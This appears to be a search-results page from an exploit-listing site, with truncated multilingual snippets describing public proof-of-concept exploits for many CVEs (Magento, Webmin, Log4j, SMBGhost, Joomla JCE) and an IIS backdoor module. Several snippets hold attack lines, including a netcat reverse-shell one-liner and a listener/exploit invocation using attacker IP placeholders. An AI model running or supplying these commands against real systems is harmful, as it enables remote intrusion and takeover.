626802 matches found
CVE-2025-5840
CVE-2025-5840 CVE-2025-5840 利用工具（Python版） 作者：hax / haxerr9 如何使用： 确保系统中已安装 Python3。 运行 "python3 CVE-2025-5840.py URL -c COMMAND"。 运行脚本前不要忘记提供参数。 使用示例： 未经测试 此利用工具未在实验室环境中测试。如果它不起作用（在你确定系统/服务器存在漏洞且利用工具不工作的情况下），请提交 issue 并告知我。 重要声明：...
CVE-2023-36168
CVE-2023-36168 AVG AVG Anti-Spyware v.7.5 中的一个问题允许攻击者通过恶意脚本向 guard.exe 组件执行任意代码 漏洞利用标题：AVG Anti Spyware 7.5 - Unquoted Service Path 日期：05/08/2023 漏洞利用作者：Idan Malihi 厂商主页：https://www.avg.com 软件链接：https://www.avg.com/en-ww/homepagepc 版本：7.5 测试环境：Microsoft Windows 10 Pro CVE编号：CVE-2023-36168 PoC...
CVE-2012-2982_python
CVE-2012-2982 利用程序（Python） 你好，我是一名安全研究员，这是我的第一个漏洞利用程序。 Webmin 1.580 存在一个 RCE 漏洞，也就是 CVE-2012-2982 使用此 payload： 1. 下载 2. 用文本编辑器打开！ 3. 将 targetIP 改为你的目标 4. 将 lhost 改为你自己的 IP 5. 将 lport 改为监听器将要运行的端口号 6. 最后，'page' : "%2F", 'user' : "user1", 'pass' : "1user" 这里默认用户名是 "user1"，请改成你自己的；"1user"...
CVE-2015-1397-Magento-Shoplift
CVE-2015-1397-Magento-Shoplift 漏洞详情 漏洞出现在 HackTheBox 的 SwagShop 中 阶段 1 = exploit.py 获取 Magento CMS 管理后台的管理员凭据 阶段 2 = postauth.py 将 exploit.py 获取的凭据添加到 postauth.py 后，运行： root@kitploit: python3 postauth.py http://TARGET.SITE/index.php/admin "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&1|nc YOUR...
WG-CVE-2026-1555-Linux
root@kitploit: ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ██║ ██║ ██║█████╗ █████╔╝██║██╔██║ █████╔╝███████╗ ██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗ ╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗╚██████╔╝...
CVE-2026-48907
CVE-2026-48907 — Joomla 内容编辑器 JCE ≤ 2.9.99.4 中的未认证 RCE CVE-2026-48907 的概念验证利用程序——一个 CVSS 10.0 的预认证远程代码执行漏洞，存在于 Joomla 内容编辑器 JCE 扩展中。 由 Grayxploit 安全团队 研究 目录 概述 受影响版本 漏洞详情 攻击流程 概念验证 补丁分析 修复建议 时间线 参考 免责声明 概述 CVE-2026-48907 是一个影响 Joomla 内容编辑器 JCE 扩展的严重未认证远程代码执行 RCE 漏洞。JCE 是最广泛安装的 Joomla 编辑器，所有版本包括...
Magento-CVE-2016-4010
Magento未授权远程代码执行漏洞CVE-2016-4010的分析与利用 0x00 前言 5月17日，国外的安全研究人员Netanel Rubin公开了Magento的一个未授权远程代码执行漏洞（CVE-2016-4010）。该漏洞实际上包含了多个小的漏洞并且允许攻击者在有漏洞的Magento服务器上未授权执行PHP代码。Magento是一个非常流行的电商平台，它在2011年时被eBay收购。一些知名企业，如：三星，尼康，联想，以及众多的小型电商都在使用它。据悉，Magento被250,000个在线商城使用，每年将涉及金额达600亿美金。 0x01 分析 该漏洞的利用条件：...
PSForgot2kEyXCHANGE
PSForgot2kEyXCHANGE PoC para Forgot2kEyXCHANGE CVE-2020-0688 escrito en PowerShell Uso Este PoC requiere un nombre de usuario y contraseña válidos. Este PoC usa ysoserial.net para crear el nuevo ViewState que contiene el comando que especificaste en el parámetro -Command. Si aún no lo tienes...
IIS-Raid
IIS-Raid IS Raid は、IIS の拡張性を悪用して Web サーバーにバックドアを仕掛け、攻撃者が定義したカスタムアクションを実行するネイティブ IIS モジュールです。 ドキュメント インストールされると、IIS-Raid はすべてのリクエストとメソッドを処理し、X-Password ヘッダーが存在するか確認してハードコードされた値と比較します。ヘッダーで指定された値がパスワードと一致しない場合、リクエストはバックドアの兆候を示さずに通常通り継続されます。ヘッダー値がパスワードと一致した場合、通信ヘッダーを検索してその内容を抽出します。さらに、base64...
CVE-2026-23520
CVE-2026-23520 MCP API 远程命令执行（RCE）PoC 📌 概述 本仓库包含一个针对远程命令执行（RCE）漏洞的概念验证（PoC）利用程序，该漏洞影响暴露易受攻击的 MCP API 端点（通常为 /api/mcp/connect）的应用程序。 该漏洞允许通过精心构造的 API 请求执行系统级命令。 🚀 快速开始 1. 启动监听器 root@kitploit: nc -lvnp ATTACKERPORT 2. 运行利用程序 root@kitploit: python3 exploit.py TARGET --lhost ATTACKERIP --lport...
CVE-2021-44228-Apache-Log4j-Rce-main
CVE-2021-44228 Ejecución Remota de Código en Apache Log4j） todas las versiones de log4j-core =2.0-beta9 y =2.14.1 Las versiones 1.x tienen otras vulnerabilidades, recomendamos que actualices a la última versión. Avisos de seguridad / Boletines relacionados con Log4Shell CVE-2021-44228 Uso: descar...
linuxprivchecker
Linuxprivchecker.py Linux権限昇格チェックスクリプト 元の作者: Mike Czumak Tv3rn1x -- @SecuritySift 現在のメンテナー: Michael Contino @Sleventyeleven このスクリプトは、Linux マシン上でローカルに実行し、基本的なシステム情報を列挙し、ワールド書き込み可能ファイル、設定ミス、平文パスワード、該当するエクスプロイトなどの一般的な権限昇格ベクトルを検索することを目的としています。 Linuxprivchecker...
CVE-2026-25924
CVE-2026-25924 PoC - Kanboard 管理员 RCE 通过安全控制绕过实现管理员 RCE 的 Proof-of-Concept 披露： 最初由我通过 GHSA-grch-p7vf-vc4f 报告 ⚠️ 仅限授权渗透测试/研究使用。 漏洞信息 字段| 值 ---|--- CVE ID| CVE-2026-25924 严重性| 🔴 高 CVSS 评分| 8.4 CVSS 向量| CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H CWE| CWE-863：不正确的授权 受影响产品| Kanboard ≤ 1.2.49 已修补版本|...
CVE-2021-3395
CVE-2021-3395 建议描述 Pryaniki 6.44.3 中存在一个跨站脚本（XSS）漏洞，允许远程认证用户上传任意文件。当有人访问该附件时，JavaScript 代码将会执行。 漏洞类型 跨站脚本（XSS） 产品供应商 OOO Tekhnologii zashchity 受影响产品代码库 PRYANIKY - 6.44.3 攻击类型 远程 攻击向量 要利用此漏洞，必须有人打开一个特制的 HTML 文件。 供应商是否已确认或承认该漏洞？ true true 发现者 Irina Belyaeva Jet Infosystems, jet.su, Maria Kononova J...
CVE-2020-0796
CVE-2020-0796 Удаленное выполнение кода POC c 2020 ZecOps, Inc. - https://www.zecops.com - Находите ошибки атакующих Удаленное выполнение кода POC для CVE-2020-0796 / "SMBGhost" Ожидаемый результат: Reverse shell с системным доступом. Предназначено только для образовательных целей и тестирования ...
EXPLOIT-CVE-2026-8832-
EXPLOIT-CVE-2026-8832 一个用于测试 WordPress 插件 WPCode Lite Insert Headers and Footers v2.3.5 中 远程代码执行 RCE 漏洞的利用工具。该漏洞源于注册自定义文章类型 CPT wpcode 时未定义自定义的 capabilitytype。这一疏忽允许任何拥有 作者 Author 角色（或更高角色）的用户通过 XML-RPC 在服务器上执行任意 PHP 代码。 致谢 ：基于 t.me/FanatixLegion 的漏洞分析创建。 ⚠️ 免责声明 仅限授权的安全测试。...
CVE-2024-7120
Inyección de Comandos en Dispositivos Raisecom CVE-2024-7120 ¡Prueba de concepto! Resumen Se ha identificado una vulnerabilidad de inyección de comandos en los dispositivos Gateway de RAISECOM, que afecta a los modelos MSG1200, MSG2100E, MSG2200 y MSG2300. Esta vulnerabilidad permite a atacantes...
Confluence_CVE-2021-26084
ConfluenceCVE-2021-26084 Confluence服务器远程代码执行：CVE-2021-26084 概念验证 Confluence可能的利用端点 root@kitploit: https:///login https:///pages/templates2/viewpagetemplate.action https:///template/custom/content-editor https:///templates/editor-preload-container https:///pages/createpage-entervariables.action...
CVE-2007-2447-Exploit
Exploit CVE-2007-2447 Este repositorio contiene un exploit para Samba smbd 3.0.20 CVE-2007-2447 que permite la ejecución remota de comandos mediante solicitudes SMB manipuladas. Requisitos previos Este exploit requiere Python 3 y algunas dependencias. Se recomienda configurar un entorno virtual...